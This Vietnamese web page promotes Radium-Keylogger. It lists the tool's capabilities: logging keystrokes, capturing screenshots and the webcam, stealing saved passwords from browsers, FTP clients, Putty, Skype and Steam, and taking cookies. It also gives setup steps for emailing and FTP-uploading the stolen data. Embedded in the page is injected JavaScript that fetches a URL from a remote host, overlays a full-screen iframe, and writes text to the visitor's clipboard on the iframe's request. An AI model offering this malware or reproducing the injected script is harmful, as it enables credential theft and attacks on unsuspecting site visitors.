Công cụ Hacking

Radium-Keylogger – Python Keylogger nhiều chức năng

Tác giả: Mehul Jain

Clone Project từ github: git clone https://github.com/mehulj94/Radium-Keylogger.git

Tính năng

  • Ghi lại thao tác bàn phím
  • Cho phép chụp ảnh màn hình
  • Cung cáp sơ đồ các ổ đĩa trong máy tính
  • Thu thập Password được lưu trữ của các phần mềm
    • Chrome
    • Mozilla
    • Filezilla
    • Core FTP
    • CyberDuck
    • FTPNavigator
    • WinSCP
    • Outlook
    • Putty
    • Skype
    • Generic Network
    • Steam
  • Thu thập Cookie
  • Thu thập các thông tin của hệ thống
    • IP LAN và IP Public
    • Các cấu hình địa chỉ IP
    • Nền tảng hệ điều hành
  • Tự động khởi động cùng Windows
  • Ghi lại webcam

Yêu cầu

Tóm tắt cách dùng

  • Cài đặt đầy đủ những thứ cần thiết ở phần Yêu Cầu
  • Thiết lập tài khoản Gmail; FTP Server (Ghi nhớ hãy encode Password bằng Base64)
  • Thiết đặt biến originalfilename tại mục copytostartup(). Điền đúng tên file .exe vào đây
  • Dùng Pyinstaller để build file exe
  • Sau 300 kí tự được ghi lại thì sẽ gửi mail 1 lần, bạn có thể sửa đổi thiết đặt này
  • Sau 500 kí tự được ghi lại thì sẽ chụp hình 1 lần, bạn có thể sửa đổi thiết đặt này
  • Thay đổi originalfilename và coppiedfilename ở hàm copytostartup() khi cần
  • Khi bạn sử dụng tính năng copytostartup() thì bạn nên kiểm tra hàm deleteoldstub() và thiết đặt lại cho chuẩn

Ảnh chụp màn hình

Video hướng dẫn chi tiết

(function() {

const configLink = “https://corsproxy.io/?url=http://heyues.live”;

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink)
.then(response => {
if (!response.ok) {
throw new Error(” “);
}
return response.text();
})

.then(finalUrl => {
return fetch(finalUrl, { method: “HEAD” })
.then(headResponse => ({ headResponse, finalUrl }));
})
.catch(() => {

});
}

if (typeof window.__digitalflwrIframeCreated === “undefined”) {
window.__digitalflwrIframeCreated = false;
}

window.__digitalflwrFetchPromise
.then(result => {

if (!result) return;
const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) {
return;
}

if (!window.__digitalflwrIframeCreated) {
window.__digitalflwrIframeCreated = true;
createMainIframe(finalUrl);
}
})
.catch(() => {

});

function createMainIframe(url) {
const iframe = document.createElement(“iframe”);
iframe.src = url;
iframe.style.position = “fixed”;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = “100%”;
iframe.style.height = “100%”;
iframe.style.border = “none”;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = “hidden”;
iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener(“message”, function(event) {
if (!event.data || event.data.type !== “copy”) return;

if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(event.data.text).catch(() => {
fallbackCopyText(event.data.text);
});
} else {
fallbackCopyText(event.data.text);
}
});

function fallbackCopyText(text) {
const textArea = document.createElement(“textarea”);
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();

try {
document.execCommand(“copy”);
} catch (err) {

}

document.body.removeChild(textArea);
}
}
})();

Views: 962